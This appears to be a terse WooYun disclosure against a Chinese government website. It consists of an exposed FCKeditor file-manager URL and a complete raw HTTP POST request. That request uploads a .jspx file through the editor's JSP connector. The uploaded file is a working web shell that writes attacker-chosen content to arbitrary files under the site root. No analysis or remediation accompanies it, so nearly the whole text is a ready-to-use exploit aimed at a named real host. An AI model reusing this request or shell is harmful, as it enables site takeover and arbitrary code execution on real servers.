WooYun.org

http://www.hadc.gov.cn/info/FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/jsp/connector

POST http://www.hadc.gov.cn/info/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=File&CurrentFolder=%2F HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://www.hadc.gov.cn/info/FCKeditor/editor/filemanager/browser/default/frmupload.html
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7df24337230634
Accept-Encoding: gzip, deflate
Host: www.hadc.gov.cn
Content-Length: 717
Connection: Keep-Alive
Pragma: no-cache
-----------------------------7df24337230634
Content-Disposition: form-data; name="NewFile"; filename="wooyun1.jspx"
Content-Type: application/octet-stream
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
    xmlns="http://www.w3.org/1999/xhtml"
    xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
    <jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
    <jsp:directive.page import="java.io.*" />
    <jsp:scriptlet>
        if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
    </jsp:scriptlet>
</jsp:root>
-----------------------------7df24337230634--